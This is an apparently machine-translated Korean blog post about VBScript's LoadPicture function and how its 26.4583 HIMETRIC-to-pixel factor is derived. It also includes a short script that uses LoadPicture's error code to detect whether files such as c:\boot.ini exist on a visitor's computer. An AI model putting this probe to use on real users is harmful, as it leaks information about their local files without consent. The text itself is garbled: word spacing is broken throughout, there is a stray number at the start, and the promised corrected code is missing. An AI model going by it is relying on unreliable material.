vbscript LoadPicture 함수 사용 방법 및 구멍 이용

4.567913.그러나 이 함수 에 구멍 이 있어 컴퓨터 에 존재 하 는 파일 이름 을 탐지 할 수 있 습 니 다.2004 년 의 빈틈,마이크로 소프트 는 지금도 보충 되 지 않 았 다.예 를 들 면
 
<title>LoadPicture </title>
<form name="frm">
<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) '26.4583
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write " "&picpath
document.write "<li> :"&iHeight&"</li>"
document.write "<li> :"&iwidth&"</li>"
document.write "<li> :"&pictype&"</li>"
End Sub
</script>
이 코드 에는'마법 숫자(Magic Number)'26.4583 이 있 는데,일찍이 닉네임 이'난 코드'였 던 친구 가 나 에 게 이 26.4583 이 어떻게 왔 는 지 물 어 봤 는데,당시 에 나 도 몰 랐 다.얼마 전에 vbscript.dll 을 역방향 으로 분석 한 후에 야 그 중의 비밀 을 발견 했다
 
<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>
그럼 이 2540 과 96 은 어떻게 왔 는 지 꼭 물 어 봐 야 한다.이 문 제 를 알 아 내 려 면 먼저 VBS 의 LoadPicture 함수 가 돌아 오 는 것 이 무엇 인지 알 아야 합 니 다.VBS 문 서 는 LoadPicture 함 수 를 이렇게 묘사 합 니 다.Returns a picture object.Available only on 32-bit platforms.그림 대상 을 되 돌려 준다 고 만 말 했 을 뿐 이 그림 대상 에 게 어떤 속성 과 방법 이 있 는 지 는 말 하지 않 았 습 니 다.문서 의 말 이 자세 하지 않 아서 OllyDbg 를 사용 할 수 밖 에 없 었 다.그러나 나중에 저 는 더 쉬 운 방법 을 발 견 했 습 니 다.그것 은 바로 VB 의 함수 성명(누가 가족 이 라 고 했 습 니까?)을 찾 는 것 입 니 다.VB 의 대상 브 라 우 저 에서 LoadPicture 함 수 를 찾 았 습 니 다.Function LoadPicture([FileName],[Size],[ColorDepth],[X],[Y]As IPicture Disp 는 VBS 의 LoadPicture 함수 가 VB 보다 간단 하지만 반환 값 은 같 을 것 입 니 다.자,IPictureDisp 인 터 페 이 스 를 되 돌려 주 는 것 을 알 고 있 습 니 다.문 서 는 다음 속성 을 지원 한다 고 합 니 다.
Property
Type
Access
Description
Handle
OLE_HANDLE (int)
R
The Windows GDI handle of the picture
hPal
OLE_HANDLE (int)
RW
The Windows handle of the palette used by the picture.
Type
short
R
The type of picture (see OleLoadPicture ).
Width
OLE_XSIZE_HIMETRIC (long)
R
The width of the picture.
Height
OLE_YSIZE_HIMETRIC (long)
R
The height of the picture.
우 리 는 Width 와 Height 에 만 관심 을 가진다.그들 은 각각 그림 의 너비 와 높이 를 나타 낸다.그러나 그들의 단 위 는 픽 셀(Pixel)이 아니 라 Himetric 이다.우리 가 해 야 할 일 은 Himetric 을 Pixel 로 환산 하 는 것 이다.
먼저 히 메 트 릭 을 인치(Inch),1 히 메 트 릭=0.01 mm,1 Inch=2.54cm 로 환산 해 1 Inch=2540 히 메 트 릭.
그리고 Inch 에서 Pixel 로 환산 하면 1 Inch 는 몇 Pixel 입 니까?시스템 의 DPI(Dot Per Inch)설정 에 의 해 결정 되 며 기본 값 은 96 입 니 다.
2540 이랑 96 이 어떻게 왔 는 지 알 겠 죠?그러나 위의 코드 에는 두 가지 문제 가 존재 한다.첫째,2540/96 의 근사 치 를 사 용 했 기 때문에 오차 가 있 을 수 있다.둘째,DPI 의 기본 값 96 을 사 용 했 고 DPI 의 값 은 제어 판 에서 수정 할 수 있 습 니 다.
VBS 에서 LoadPicture 함수 의 정확 한 용법 은
 
26.4583 = 2540 / 96
Windows 7 에서 테스트 를 통 해 다른 시스템 에서 DPI 를 얻 는 방법 이 다 를 수 있 으 니 스스로 수정 하 십시오.위 에서 수정 한 내용 은IPictureDisp

좋은 웹페이지 즐겨찾기